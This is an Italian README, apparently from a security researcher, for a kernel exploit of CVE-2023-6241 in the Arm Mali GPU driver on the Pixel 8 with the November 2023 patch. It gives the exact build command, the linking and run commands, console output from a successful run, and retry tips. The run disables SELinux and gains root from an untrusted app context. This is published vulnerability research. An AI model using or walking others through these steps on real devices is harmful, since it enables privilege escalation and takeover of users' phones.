
CVE-2023-6241 for Pixel 8
Il write-up si trova qui. Si tratta di un bug nel driver del kernel Arm Mali che ho segnalato a novembre 2023. Il bug può essere utilizzato per ottenere l'esecuzione arbitraria di codice nel kernel dal dominio delle app non fidate, che viene poi usato per disabilitare SELinux e ottenere i privilegi di root.
L'exploit è stato testato su Google Pixel 8 con la patch di Novembre 2023 (UD1A.231105.004). Deve essere compilato con OpenCL e linkato con la libreria OpenCL libGLES_mali.so. La libreria si trova su un dispositivo Pixel 8 in vendor/lib64/egl/libGLES_mali.so e i file header OpenCL si trovano nel repository OpenCL-headers di KhronosGroup. L'header specifico che ho usato era la versione v2023.04.17, anche se altre versioni dovrebbero funzionare ugualmente. Per riferimento, ho usato il seguente comando per compilare con clang in ndk-26:
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
L'exploit deve essere linkato a libGLES_mali.so. Questo può essere fatto impostando LD_LIBRARY_PATH su /vendor/lib64/egl. L'exploit fallisce raramente e, anche quando fallisce, normalmente non corrompe o manda in crash il sistema. Quindi, in caso di fallimento, può essere rilanciato. Se ha successo, dovrebbe disabilitare SELinux e ottenere i privilegi di root.
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
Al primo avvio, l'exploit a volte si blocca dopo aver stampato l'ultimo messaggio overwrite addr. Se ciò accade (bloccato per più di 10 secondi, anche se una pausa di qualche secondo è normale), basta terminare l'exploit e rilanciarlo. Non dovrebbe bloccarsi la seconda volta.
Per testarlo con MTE abilitato, segui queste istruzioni per abilitare l'MTE nel kernel.